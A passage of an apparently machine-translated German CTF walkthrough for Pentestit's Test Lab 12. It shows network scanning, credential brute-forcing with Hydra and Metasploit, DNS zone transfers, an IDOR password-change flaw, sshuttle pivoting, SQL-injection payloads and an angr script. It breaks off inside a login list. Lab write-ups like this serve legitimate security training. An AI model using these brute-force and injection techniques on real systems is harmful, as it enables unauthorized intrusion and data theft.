
Jedes Jahr startet Pentestit ein neues Penetrationstestlabor, das Test Lab. In diesem Artikel wird das 12. Labor mit dem Namen „z 9r347 39u411z3r“ oder, falls dekodiert, „The Great Equalizer“ behandelt.
HaftungsausschlussDieser Artikel ist nicht beratend, sondern beschreibt nur die Schritte, die ich unternommen habe, um das Labor zu durchlaufen. Alle Informationen werden nur zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die jemandem durch die Verwendung von Kenntnissen und Methoden entstehen, die durch das Studium dieses Dokuments erworben wurden.
Verbindung zum Labor
Die Verbindung zum Labor erfolgt über eine VPN-Verbindung (da ich das Labor auf einem Linux-Computer übergeben habe, werden alle Aktionen speziell für diese Plattform beschrieben). Um in das private Netzwerk zu gelangen, müssen Sie die folgenden Schritte ausführen:
- Registrieren Sie sich hier .
- Speichern Sie die Konfigurationsdateien von hier .
- Gehen Sie zu den Netzwerkeinstellungen und wählen Sie "VPN hinzufügen".
- Aus Datei importieren (heruntergeladene Datei mit Konfigurationen angeben).
- Geben Sie das Login und das Passwort für die Verbindung an (auf der Registerkarte "Herstellen einer Verbindung" angegeben).
- Wir stellen eine Verbindung zum VPN her und pingen das Gateway 192.168.101.1 an. Wenn der Ping erfolgreich ist, haben Sie eine erfolgreiche Verbindung zum Labor hergestellt.
Zielsuche
Wir haben Zugriff auf das Netzwerk 192.168.101.X mit einer Maske von 255.255.255.0. Zunächst müssen Sie "Live-Hosts" im Netzwerk finden. Dies kann einfach mit dem Dienstprogramm nmap durchgeführt werden:
nmap -sn 192.168.101.0/24
Verwendete nmap-Optionen-sn - definiere "Live Hosts"
IP / Maske - Netzwerkadresse / Maske

Wir finden also drei Hosts, von denen wir einen bereits kennen (Gateway):
- 192.168.101.1
- 192.168.101.12
- 192.168.101.13
Der zweite Schritt besteht darin, die erkannten Hosts nach offenen und geschlossenen Ports zu durchsuchen.
nmap -sV -Pn 192.168.101.12-13 -p-
Verwendete nmap-Optionen-sV - Scan mit Software-Versionserkennung
-Pn - Ping beim Scannen deaktivieren
-p- - scannt den gesamten Bereich der Ports

Aus den Berichten geht hervor, dass 192.168.101.13 nicht verfügbar ist. Wir beginnen also mit 192.168.101.12. Der Webserver dreht sich auf Port 80. Wenn Sie jedoch versuchen, darauf zuzugreifen, erfolgt eine Umleitung zu
site.test.lab , die uns unbekannt ist (DNS ist für diese Umleitung nicht konfiguriert). Die Überprüfung erfolgt mit einem Browser und einem Curl-Dienstprogramm.
curl http://192.168.101.12:80/ curl http://site.test.lab/

Machen Sie einen Eintrag in der Datei / etc / hosts für site.test.lab. Jetzt gehen wir ruhig zur Baustelle.

Der erste Schritt besteht darin, Informationen über die Site zu sammeln. Das wichtigste ist die Site Engine (CMS - Content Management System). Verwenden Sie dazu das Dienstprogramm perig.
wig -u http://site.test.lab/
Zur Analyse erhalten wir einen Bericht - Wordpress wird verwendet. Lassen Sie uns die Perückenausgabe analysieren:
- IP- und Titeleinträge.
- Name, Version und Art der Software.
- Wichtige Seiten.
- Dienstprogramme, die Sie verwenden können.
- Mögliche Schwachstellen mit Links zu CVE.


Zum Scannen von CMS WordPress und, was noch wichtiger ist, installierter Plugins (diese sind meistens anfällig) ist das Dienstprogramm wpscan am besten geeignet.
wpscan --url http://site.test.lab/ --enumerate p --random-user-agent
Verwendete wpscan-Optionen--url "URL"
- Aufzählung p - Aufzählung (Brute) von Plugins
--random-user-agent - Ändert das Feld user-agent
Wir erhalten die Informationen, die wir benötigen: die WordPress-Version, Schwachstellen und installierte Plugins. Tatsache ist, dass diese Sicherheitslücken uns nicht den gewünschten Zugriff ermöglichen. Es ist sehr nützlich zu bestimmen, welche Plugins verwendet werden. In diesem Fall handelt es sich um "wp-Umfrage-und-Umfrage". Es ist wichtig zu verstehen, dass Scanner nur verwendet werden sollten, um Informationen über Software zu erhalten. Da es keine einzige Datenbank mit Sicherheitslücken gibt, zeigt der Scanner möglicherweise nicht alle vorhandenen Exploits an. Als Ergebnis des Scannens haben wir:
- WP Version: 4.9.8.
- Siebenundzwanzig: ja, v. 1.9
- Plugins: wp-Umfrage-und-Umfrage v. 1.5.7
Das Dienstprogramm searchsploit dient zum bequemen Durchsuchen der größten Exploit-DB-Exploit-Datenbank, die heruntergeladen und auf Ihrem PC gespeichert wird. Für Version 4.9.8 wurden keine Sicherheitslücken in der Datenbank gefunden. Wenn wir das Plugin überprüfen, werden wir zwei Schwachstellen finden.
searchsploit "WordPress Survey Poll"

Erfahren Sie mehr über diese Sicherheitsanfälligkeiten. Dies ist eine reguläre Bind-SQL-Injection in einem Cookie. Wir müssen die Frage beantworten und unsere Anfrage durch Cookies ersetzen. Die Technik ist sehr einfach: (jeder Ausdruck) ODER 1 = 2 gibt false zurück, dann zeigt das DBMS anstelle der Lösung unserer Antwort den zweiten Teil der UNION der kombinierten Anforderung an. Dies sind alles Spalten, von denen eine (Nr. 10) auf der Seite angezeigt wird. Der Betrieb von diesem Netzwerksegment aus war jedoch unmöglich, wie später bekannt wurde, da es WAF blockiert.

MAIL-Token
Nach einem Fehler auf der Site müssen Sie andere Einstiegspunkte finden. Auf der Website finden Sie das info@test.lab-Login, mit dem wir Authentifizierungsinformationen auswählen. Gehen wir zu anderen Häfen. Das Web dreht sich auf 8080, aber das CSRF-Token wird verwendet. Bei 25 smtp hat das Passwort nicht geklappt. Wir haben nur noch Port 143 - dies ist der IMAP-Dienst. Für Brutus habe ich das Hydra-Tool verwendet. Wie sich herausstellte, war das Passwort sehr einfach.
hydra -l info@test.lab -P '/root/rockyou.txt' imap://192.168.101.12

Da wir den Benutzernamen und das Passwort für die E-Mail gefunden haben, melden wir uns bei 192.168.101.12:8080 an. Jetzt müssen Sie alle E-Mails ordnungsgemäß analysieren. Darüber hinaus ist es notwendig, alle Informationen zu sammeln, da dies später nützlich sein kann. Folgendes habe ich gefunden:
- Posteingang: VPN-Konfigurationen.
- Ausgehend: Token zum Setzen von MAIL.
- Benutzername sviridov@test.lab

VPN über VPN
Wir müssen tief in das Netzwerk des Unternehmens hinein expandieren. Wir haben eine VPN-Konfiguration, können uns jedoch nicht von der Hauptkonfiguration trennen. Diese Technik wird als VPN über VPN bezeichnet - wenn wir ein VPN innerhalb eines VPN innerhalb eines VPN usw. verbinden. Für ein VPN sind ein Benutzername und ein Kennwort erforderlich. Wir kennen nur 2 Benutzer (info und sviridov) und das Passwort eines von ihnen. Wir versuchen, eine Verbindung mit einem bekannten Benutzernamen und Passwort herzustellen. Wenn dies nicht funktioniert, werden wir brutal sein. Führen Sie die folgenden Schritte aus, um eine Verbindung herzustellen:
- Erstellen Sie eine userVPN.txt-Datei, wobei die erste Zeile der Benutzername und die zweite das Kennwort ist.
- Fügen Sie den Pfad zu dieser Datei zur VPN-Konfiguration in der Spalte auth-user-pass hinzu
- Sie erstellen ein Bash-Skript OverVPN.sh mit den folgenden Inhalten: openvpn --config configuration_path_to_file_ &
- Weisen Sie ihm Rechte zu: chmod 770 ./OverVPN.sh
- Führen Sie Folgendes aus: ./OverVPN.sh

Wir haben Glück, dass der Benutzer info@test.lab erfolgreich angemeldet wurde und uns mitgeteilt wird, dass ein neues Netzwerk 172.16.0.0/16 verfügbar ist.

Zunächst müssen Sie wie beim letzten Mal „Live-Hosts“ im Netzwerk finden:
nmap -sn 172.16.0.0/16
Wir finden also vier Gastgeber.

Scannen Sie jeden Host. Am 172.16.0.1 wurde nichts gefunden. Ich wage anzunehmen, dass dies unser seit langem bekannter 192.168.101.13 in einem anderen Netzwerk ist. Durch ihn sind wir mit diesem Netzwerk verbunden. In 172.16.0.10 ist nur der Webserver an Port 80 verfügbar. Am 172.16.0.17 sehen wir ein ganzes "Testgelände" zum Testen. Am 172.16.1.2 nichts. Höchstwahrscheinlich ist dies ein anderer VPN-Dienst.
DNS-Token
Da der nächste in der Liste der Token DNS ist, werden wir mit der Analyse des DNS-Dienstes an Port 172.16.0.17 beginnen. Die Hauptanfälligkeit besteht darin, DNS-Einträge abzurufen - die Übertragung der DNS-Zone (die sogenannte AXFR-Anforderung). Wir führen es mit den Dienstprogrammen nslookup und dig aus.
Der erste, der die Zonen und die Namen der Server kennt, die für diese Zonen verantwortlich sind.
nslookup > set type=ANY > set port=53 > SERVER 172.16.0.17 > test.lab
Der zweite führt die Übertragung durch.
dig @172.16.0.17 ns1.test.lab axfr


Dieser DNS-Server antwortet nicht. Aber er kennt den Rest des DNS im Netzwerk. Mit dem Dienstprogramm dnsrecon können Sie absolut alle Operationen mit DNS ausführen. Holen Sie sich den Rest des DNS im Netzwerk und fügen Sie ihn der Datei / etc / hosts hinzu.
dnsrecon -d test.lab -n 172.16.0.17 -t brt
Dnsrecon-Optionen-d "Domain"
-n "Server"
-t brt ist eine Technik, in diesem Fall Brute Force.
Beim Scannen des Hosts 172.16.0.17 erhalten wir das Token.
dnsrecon -d test.lab -n 172.16.0.17 -a
Helpdesk-Token
Nächste Aufgabe in der Liste: Helpdesk. Wir haben eine ähnliche Domain gefunden und hinzugefügt. Darüber hinaus ist dies der einzige Dienst, der unter 172.16.0.10 ausgeführt wird. Es gibt eine einfache Form der Autorisierung, es wird kein CMS verwendet. Wie immer versuchen wir uns als bekannte Benutzer anzumelden. Und wir gehen leise unter den Benutzer info@test.lab. Wir sehen das Anfrageformular, nach der Token-Anfrage erhalten wir nichts. Anscheinend haben wir es nicht, aber wie es bei solchen Aufgaben passiert, steht es einem anderen Benutzer zur Verfügung. Nach einer kleinen Überprüfung der Seite finden wir die Möglichkeit, das Passwort zu ändern.

Nachdem wir die Such- und Passwortänderungsformulare mit verschiedenen Scannern gescannt haben, finden wir nichts. Sehen Sie sich den Quellcode der Seite zur Kennwortänderung an. Wenn Sie es einige Male aktualisieren, werden Sie feststellen, dass sich das ausgeblendete Feld mit dem CSRF-Token nicht ändert. Das heißt, es ist kein CSRF-Token. Dies ist base64, dekodiere und erhalte die Nummer.


Da keine Cookies gesendet werden, ist es offensichtlich, dass dies die Benutzer-ID ist. Der Plan sieht wie folgt aus: Wir ändern Passwörter für alle IDs und für diejenigen IDs, für die ein erfolgreiches Ergebnis erzielt wurde, wählen wir ein Login mit unserem Passwort aus.
Implementierung der Burp Suite Nur zwei IDs haben erfolgreich auf die Anforderung zur Kennwortänderung geantwortet. Jetzt muss noch ein Benutzername gewählt werden. Root und admin haben kein Ergebnis angegeben, aber sviridov@test.lab gibt uns ein Token.
Anzeigen-Token
Bevor Sie sich für den VPN-Pfad entscheiden, schauen wir uns die Dienste unter 172.16.0.17 an. Dig SAMBA-Arbeitsgruppe TEST (aus der nmap-Analyse). Zunächst müssen Sie die Benutzer in der Domäne herausfinden:
enum4linux -U 172.16.0.17
Enum4linux definiert Domänen, Benutzer in Domänen, deren Rid und andere Informationen. Unter den Benutzern nehmen wir das Token weg. Übrigens sind alle Anmeldungen besser zu behalten.

USERS Token
Vom Helpdesk erfuhren die Aufgaben, dass dem Benutzer sviridov Zugriff auf das Netzwerk gewährt wurde, d. H. Auf die VPN-Konfiguration. Wir nehmen auch das Passwort vom Helpdesk. Wir versuchen, mit der vorhandenen Konfiguration eine Verbindung zu 192.168.101.13 herzustellen, ersetzen jedoch den Benutzernamen und das Kennwort des Benutzers in userVPN.txt.

Nichts passiert. Dann versuchen wir, eine Verbindung zu 192.168.101.12 herzustellen. Wir sind verbunden und die Netzwerke 192.168.0.0/24 und 172.16.0.0/16 stehen uns zur Verfügung.

Jetzt ist es wieder notwendig, das Netzwerk aufzuklären. Uns stehen zwei Netzwerke 172.16.0.0 mit einer Maske von 255.255.0.0 zur Verfügung, in denen wir acht Hosts finden, und ein Netzwerk 192.168.0.0/24, das nicht gescannt wird. Anscheinend ist auf allen Hosts eine Firewall aktiviert. Wir scannen mit der Option -Pn und erhalten im Bericht absolut alle Hosts und Ports, die überall gefiltert werden. Wir stellen fest, dass im Netzwerk Hosts mit geöffnetem Port 22 vorhanden sind:
- 192.168.0.10
- 192.168.0.15
- 192.168.0.30
- 192.168.0.100
- 192.168.0.205
- 192.168.0.240
Da im Netzwerk 192.168.0.0/24 nur sechs Hosts mit offenen SSH-Ports vorhanden sind, werden wir alle durchblättern, um eine Verbindung unter einem der uns bekannten Benutzer herstellen zu können.

Da es sechs Hosts gibt, automatisieren wir die Suche mit dem Metasploit Framework-Dienstprogramm. Wir werden das Hilfsmodul / scanner / ssh / ssh_login verwenden.
> use auxiliary/scanner/ssh/ssh_login > set RHOSTS 192.168.0.10 192.168.0.15 192.168.0.30 192.168.0.100 192.168.0.205 192.168.0.240 > set USERPASS_FILE '/root/CTF/PT12/userspass.txt' > exploit

Wir gehen zu allen Hosts unter beiden Benutzern und suchen nach Informationen. Nach einem langen Spaziergang auf 192.168.0.100 finden wir einen Fehler in den Zugriffsrechten. Das Home-Verzeichnis des Benutzers kann von absolut jedem angezeigt werden. Wir finden ein Zeichen darin. Aber sein Autor ist Sviridov. Melden Sie sich unter Svridov an und geben Sie den Token ab.

Nichts interessanteres wurde gefunden. IP-Route hatte keine anderen Netzwerke. In Cron gab es nur einen Reiniger. In / tmp / viel Unverständliches:
- 1.sh - hat nichts gegeben.
- Client.jar wird nicht gestartet, da keine JVM vorhanden ist. Es ist seltsam, warum er überhaupt gebraucht wird.
- Benennen Sie in DAGESTAN_SILA nmap um.
- Zwei Prüfer zur Erhöhung der Berechtigungen.
- Und viele verschiedene Abfälle.
VPN-Token
Im Netzwerk 172.16.0.0/16 ist Port 80 auf allen Hosts geöffnet. Es lohnt sich, die Websites auf allen Hosts zu durchsuchen:
- Am 172.16.1.10 finden wir den Token !!! Annäherung an die VPN-Aufgabe. Anscheinend bestand die Aufgabe darin, eine Verbindung zu 192.168.101.12 als Benutzer sviridov zu erraten.
- Am 172.16.1.12 das Autorisierungsformular.
- Am 172.16.1.15 Basisauthentifizierung.
Es war sehr einfach, mach weiter.
SIEM-Token
Wir gehen zu
172.16.1.12 . Wir lesen, was Prewikka ist. Prewikka ist die Hauptbenutzeroberfläche für das Prelude SIEM-System, das über das Web implementiert wird. Der Zugriff auf die Benutzeroberfläche erfolgt über einen Webbrowser. Die Authentifizierung erfolgt über lokale Konten oder über ein LDAP-Verzeichnis. Exploits konnten nicht gefunden werden. Google Login und Passwort standardmäßig. Fehler, da sie während der Installation des Systems angezeigt werden. Sie können jedoch ein Beispiel aus der Dokumentation ausprobieren:
Vorspiel: Vorspielpasswd - passte nicht. Probieren wir die Benutzer aus, die wir bereits kennen (und wir kennen nur die Passwörter von zwei). Sviridov kam hoch. Es ist wichtig zu beachten, dass nur der Administrator Zugriff auf das SIEM-System hat. Es kann argumentiert werden, dass wir den Administrator definiert haben.
Wir stellen fest, dass die Daten für diesen Monat angezeigt werden. Wir übersetzen das Tagebuch einen Monat zuvor und sehen die protokollierten Daten.

Beachten Sie einfach die Domains, die wir zu / etc / hosts hinzufügen:
- (admin.test.lab) 172.16.1.25
- (vpn-admin.test.lab) 172.16.1.10
- (repository.test.lab) 172.16.1.15
- (site.test.lab) 172.16.0.14

In den Protokollen von repository.test.lab finden wir ein Token.

Da wir in / etc / hosts einen neuen Eintrag für site.test.lab gefunden und hinzugefügt haben, gehen wir zurück und nutzen die Sicherheitsanfälligkeit vor Ort aus.
Site-Token
Zurück zu site.test.lab, das jetzt 172.16.0.14 entspricht. Mal sehen, ob WAF dafür funktioniert. Wir senden unsere Last aus dem Beispiel und erhalten die DBMS-Version. Als nächstes finden wir heraus, welche Datenbank verwendet wird. Wenn es mit den Standarddaten übereinstimmt, können Sie sofort den Namen und den Hash des Benutzers abrufen, da die Tabelle mit den Benutzern standardmäßig lautet: wp_users. Der Datenbankname (WordPress) ist der gleiche, daher finden wir den Benutzernamen und das Passwort heraus. Leider gibt dies nichts. Das Scrollen des Passworts ist ebenfalls fehlgeschlagen.
Als nächstes (ich werde die Technik nicht beschreiben, dies sind die Grundlagen) gehen wir in diesem Fall den üblichen Weg - wir erhalten die Namen aller Tabellen. Darunter befindet sich das notwendige Tisch-Token. Finden Sie heraus, welche Spalten und Datentypen es gibt. Dann verstehen wir, dass wir den Namenswert erhalten müssen.
Nutzen Sie Schwachstellen mit Burp Suite Repository-Token
In SIEM haben wir die Protokolle für repository.test.lab gefunden. Versuchen wir, uns mit den gefundenen Daten anzumelden. Sie können wieder zurückgehen und nach Protokollen für absolut alle Dienste suchen, die dort vorhanden sind.

Wir bestehen, wir versuchen uns einzuloggen. Erfolgreich !!! Wir sehen einige Dateien und ein Token.

Token umkehren
Zusätzlich zum Token befanden sich zwei weitere Dateien im Repository. Eine davon zum Festlegen von Reverse ist eine Bin-Datei. Lassen Sie uns eine grundlegende Analyse der ausführbaren Datei durchführen:
- Strings - ein Dienstprogramm, das alle Zeilen einer Datei anzeigt. In diesem Fall sehen wir viele base64-Zeilen. Dekodierung gibt nichts.
- Ltrace ist ein Dienstprogramm, das Bibliotheksfunktionsaufrufe abfängt. In diesem Fall wurden keine Bibliotheksfunktionen aufgerufen.
- Strace ist ein Dienstprogramm, das alle Syskole (Systemaufrufe) abfängt. Wir haben keine nützlichen Daten erhalten.
Das Ergebnis dieser Dienstprogramme Wir haben keine nützlichen Daten erhalten. Für Aufgaben dieser Art bevorzuge ich
Angr für automatische Lösungen (ich werde in den folgenden Artikeln mehr über die Angr-Bibliothek schreiben). Ich gebe den Code in Python.
import angr import claripy proj = angr.Project('./bin') simgr = proj.factory.simgr() simgr.explore(find=lambda s: b"ACCESS GRANTED!" in s.posix.dumps(1)) s = simgr.found[0] print(s.posix.dumps(0))
Wir bekommen das Token als Antwort.

DB-Token
Lassen Sie uns nun die JAR-Datei herausfinden. Sie müssen verstehen, was er tut. Java ist eine dekompilierte Sprache, daher erhalten wir den Quellcode. Es gibt viele Programme, mit denen Sie dies tun können (die besten: JAD, JD-GUI, Javasnoop, Intellij Idea Decompiler, JD-Plugin Eclipse). Ich benutze JD-GUI für die Dekompilierung und Intellij Idea für Bauprojekte. Holen Sie sich das Quellprojekt, indem Sie die folgenden Schritte ausführen:
- Führen Sie jd-gui aus. Unter Linux gibt es ein Startproblem, das folgendermaßen gelöst werden kann: Erstellen Sie eine Bash-Datei mit den folgenden Inhalten:
java --add-opens java.base/jdk.internal.loader=ALL-UNNAMED --add-opens jdk.zipfs/jdk.nio.zipfs=ALL-UNNAMED -jar /usr/share/jd-gui/jd-gui.jar
- Laden Sie client.jar herunter und speichern Sie.
- Öffnen Sie Intellij Idea → Projekt importieren. Geben Sie den Pfad zum Dateiordner an.
- Erstellen Sie ein Projekt aus vorhandenen Quellen.
Lassen Sie uns den Anwendungscode analysieren, um sich vorzustellen, wofür er gedacht ist. Der erste Schritt besteht darin, die Verbindungsparameter und SSL festzulegen. Der Anruf erfolgt unter der Adresse 172.16.0.55 an Port 5074. Als Nächstes erhalten Sie eine Nachricht, in der Sie aufgefordert werden, eine der Nummern einzugeben, um eine Anforderung auszuwählen. Abhängig davon wird ein bestimmter Parameter an die Reqvest-Funktion übergeben. Die Reqvest-Funktion gibt die generierte Anforderung im JSON-Format zurück. Wir senden eine Anfrage und erhalten eine Antwort.
Dekompilierter Anwendungsquellcode Es gibt eine Schwierigkeit: Der Host 172.16.0.55 steht uns nicht zur Verfügung. Aber wir haben eine ähnliche Anwendung am 192.168.0.240 bei Sviridov gefunden. Dies bedeutet, dass das Routing so konfiguriert ist, dass von seinem Computer aus auf den Anwendungsserver zugegriffen werden kann. Da wir über SSH Zugriff haben, können wir den Port an unser Gebietsschema weiterleiten. Verwenden Sie das Dienstprogramm sshuttle, um den Port weiterzuleiten.
sshuttle -r sviridov@192.168.0.240 172.16.0.0/16

Dadurch erhalten wir Zugriff auf das Netzwerk.

Jetzt testen wir die Anwendung im Debug-Modus, aber um etwas zu ändern, müssen Sie das Projekt neu erstellen. Beim Versuch, die Anwendung über F9 auszuführen, wird eine Fehlermeldung angezeigt. Um das Problem zu beheben, müssen Sie:
- Deutliche Wiederholung.
- Fehler in json. Löschen Sie den gesamten Ordner aus dem Projekt.
- Wählen Sie das Projekt im Kontextmenü aus: Öffnen Sie die Moduleinstellung oder F4
- Wählen Sie auf der Registerkarte Abhängigkeiten "+" aus und geben Sie die JAR-Datei an. Aus dem fertigen Projekt werden wir also die bereits zusammengestellten Bibliotheken laden, die der Dekompiler ruiniert hat.

Jetzt wird die Anwendung erfolgreich gestartet und wir können nach Schwachstellen suchen. Die Abfragezeichenfolge wird, wie wir herausgefunden haben, innerhalb der Reqvest-Funktion gebildet. Lassen Sie uns den Code ein wenig ändern, um zu verstehen, wie das System auf Eingaben reagiert. Wir fügen die Zeilen hinzu, in denen wir den zurückgegebenen Parameter steuern und in der Konsole anzeigen. Als nächstes werden wir vier mögliche Abfragen durchführen. Wie wir sehen können, wird die JSON-Zeichenfolge übergeben. Und das System, das etwas an HelpDesk erinnert, sendet Benutzeranfragen an uns zurück. Übrigens drehen sich die Datenbanken anscheinend auf dem Server, da die Anwendung uns den Benutzer zurückgibt, unter dem die Anfrage gestellt wurde.
Um das Ändern und Feineinstellen der Parameter zu vereinfachen, gibt die Funktion ständig dieselbe Zeichenfolge zurück.

Da die Datenbank auf dem Server verwendet wird, muss zunächst das Vorhandensein von SQL-Injection überprüft werden:
- Wir senden die harmloseste Last - die Verzögerungsfunktion. Eine Anfrage mit einer Verzögerung von 10 Sekunden dauert viel länger als eine Verzögerung von 0 Sekunden. Es gibt eine SLEEP-Injektion.
- Überprüfen Sie, ob es für BLIND anfällig ist. Da sich die Schlussfolgerung zum korrekten Zustand nicht geändert hat, ist die Anwendung für die BLIND-Injektion anfällig.
- Zuerst müssen Sie die Anzahl der Spalten in der Ausgabe herausfinden. Zu diesem Zweck bauen wir eine gemeinsame UNION-Anfrage auf. Wir sortieren die Anzahl der Spalten, bis keine Ausgabe mehr erfolgt. Die Ausgabe erscheint also mit 5 Spalten.
- Jetzt müssen Sie die Serviceinformationen herausfinden: DBMS (@@ version) und Datenbankname (database ()). Der Name der Datenbank soll wissen, an was zu kontaktieren ist, und das DBMS ist die Umgebung, mit der gearbeitet werden soll. Wir stellen also fest, dass MySQL verwendet wird und der Datenbankname "reqvest" lautet.
- Durch das Umgebungsinformationsschema finden wir nun heraus, welche Tabellen vorhanden sind. Wir sind an Token interessiert.
- Wir finden heraus, welche Spalten in der Tokentabelle enthalten sind.
- Zeigen Sie den Inhalt der Tokentabelle an.
Diese Aufgabe erwies sich als so interessant !!!
Benutzer-API-Token
Nachdem ich sechs versteckte Hosts im Netzwerk 192.168.0.0/24 entdeckt hatte, dachte ich darüber nach, dass diese in 172.16.0.0/16 sein könnten. Führen Sie den gleichen Scan an den Hauptanschlüssen durch. Da die Ausgabe zu groß ist, suchen wir nach dem Schlüsselwort "open". Wir finden zwei weitere Hosts mit offenem Web.

Nun, da sie versucht haben, 172.16.1.20:8000 vor uns zu verbergen, gehen wir dorthin und sehen uns eine AJAX-Anwendung an. Nun, wie immer scannen wir die Verzeichnisse. Alles, was dirb gefunden hat, steht uns bereits zur Verfügung.

Die Kontaktseite ist für uns nutzlos. Die Anmeldeseite erfordert eine Autorisierung. Und der Support enthält eine Art Barcode-Datei. Dies scheint ein Stego zu sein, also lassen wir es jetzt. Übrigens, wenn Sie diese Seite mehrmals aufrufen, werden unterschiedliche Bilder angezeigt. Wir werden alles speichern, es gibt nur 4. Sie werden als "support_team" dekodiert.
Schauen wir uns an, welche Verzeichnisse es gibt. Wir beobachten fünf Verzeichnisse: contac, get_user_list, recovery_password, login, support. Wenn Sie sich also das Verzeichnis get_user_list ansehen, werden Sie darauf hingewiesen, dass es zwei Parameter gibt - die Anmeldezeichenfolge und die Kennwortzeichenfolge. Wir schauen, wir wählen Benutzer und Passwörter aus - es gibt nichts. In Barcodes wurde support_team als Login versucht. Und wieder gibt Brutalität nirgendwo etwas.

Durch das versehentliche Einfügen eines Anführungszeichens finden wir eine seltsame Reaktion.
login=support_team“&password=“ and “1=1“
Und uns wird eine Liste der Benutzer angezeigt.

Beim Versuch, sich als Benutzer anzumelden, wird der gleiche Fehler angezeigt. Finden Sie das richtige Benutzer: Login-Paar. Wir werden ein Skript schreiben, das alle Paare durchläuft und diejenigen auswählt, die den Test bestehen.
Code from requests import get list_user = [{"login": "potapova", "user": "Potapova"}, {"login": "popov", "user": "Popov"}, {"login": "kiselev", "user": "Kiselev"}, {"login": "semenova", "user": "Semenova"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "uvarov", "user": "Uvarov"}, {"login": "blohina", "user": "Blohina"}, {"login": "frolova", "user": "Frolova"}, {"login": "volkova", "user": "Volkova"}, {"login": "morozova", "user": "Morozova"}, {"login": "fadeeva", "user": "Fadeeva"}, {"login": "gorbacheva", "user": "Gorbacheva"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "ivanov", "user": "Ivanov"}, {"login": "safonov", "user": "Safonov"}, {"login": "kalinina", "user": "Kalinina"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "shubin", "user": "Shubin"}, {"login": "lapin", "user": "Lapin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "zaharova", "user": "Zaharova"}, {"login": "kudrjashova", "user": "Kudrjashova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "prohorova", "user": "Prohorova"}, {"login": "lukin", "user": "Lukin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "maksimov", "user": "Maksimov"}, {"login": "aleksandrova", "user": "Aleksandrova"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "ignatova", "user": "Ignatova"}, {"login": "belov", "user": "Belov"}, {"login": "fedorova", "user": "Fedorova"}, {"login": "mihajlova", "user": "Mihajlova"}, {"login": "burov", "user": "Burov"}, {"login": "rogov", "user": "Rogov"}, {"login": "kornilov", "user": "Kornilov"}, {"login": "fedotova", "user": "Fedotova"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "sobolev", "user": "Sobolev"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "jakovleva", "user": "Jakovleva"}, {"login": "blinova", "user": "Blinova"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "kazakova", "user": "Kazakova"}, {"login": "lobanov", "user": "Lobanov"}, {"login": "panova", "user": "Panova"}, {"login": "ovchinnikova", "user": "Ovchinnikova"}, {"login": "bykov", "user": "Bykov"}, {"login": "karpov", "user": "Karpov"}, {"login": "panova", "user": "Panova"}, {"login": "guschina", "user": "Guschina"}, {"login": "korolev", "user": "Korolev"}, {"login": "shilov", "user": "Shilov"}, {"login": "burov", "user": "Burov"}, {"login": "zhuravlev", "user": "Zhuravlev"}, {"login": "fomichev", "user": "Fomichev"}, {"login": "ponomareva", "user": "Ponomareva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "dorofeeva", "user": "Dorofeeva"}, {"login": "silin", "user": "Silin"}, {"login": "tsvetkov", "user": "Tsvetkov"}, {"login": "antonov", "user": "Antonov"}, {"login": "belov", "user": "Belov"}, {"login": "novikova", "user": "Novikova"}, {"login": "martynov", "user": "Martynov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "egorov", "user": "Egorov"}, {"login": "kirillova", "user": "Kirillova"}, {"login": "chernova", "user": "Chernova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "gavrilova", "user": "Gavrilova"}, {"login": "beljaeva", "user": "Beljaeva"}, {"login": "kulakova", "user": "Kulakova"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "zimina", "user": "Zimina"}, {"login": "sidorova", "user": "Sidorova"}, {"login": "strelkov", "user": "Strelkov"}, {"login": "guseva", "user": "Guseva"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "shestakov", "user": "Shestakov"}, {"login": "ershova", "user": "Ershova"}, {"login": "davydov", "user": "Davydov"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "andreev", "user": "Andreev"}, {"login": "rjabova", "user": "Rjabova"}, {"login": "grishin", "user": "Grishin"}, {"login": "turov", "user": "Turov"}, {"login": "kopylov", "user": "Kopylov"}, {"login": "maksimova", "user": "Maksimova"}, {"login": "egorov", "user": "Egorov"}, {"login": "seliverstov", "user": "Seliverstov"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "kornilova", "user": "Kornilova"}, {"login": "romanov", "user": "Romanov"}, {"login": "beljakov", "user": "Beljakov"}, {"login": "morozov", "user": "Morozov"}, {"login": "konovalova", "user": "Konovalova"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "seleznev", "user": "Seleznev"}, {"login": "smirnov", "user": "Smirnov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "voronova", "user": "Voronova"}, {"login": "zhdanov", "user": "Zhdanov"}, {"login": "zueva", "user": "Zueva"}, {"login": "mjasnikova", "user": "Mjasnikova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "knjazeva", "user": "Knjazeva"}, {"login": "kuznetsova", "user": "Kuznetsova"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "gorbunova", "user": "Gorbunova"}, {"login": "blohina", "user": "Blohina"}, {"login": "tarasov", "user": "Tarasov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "rusakova", "user": 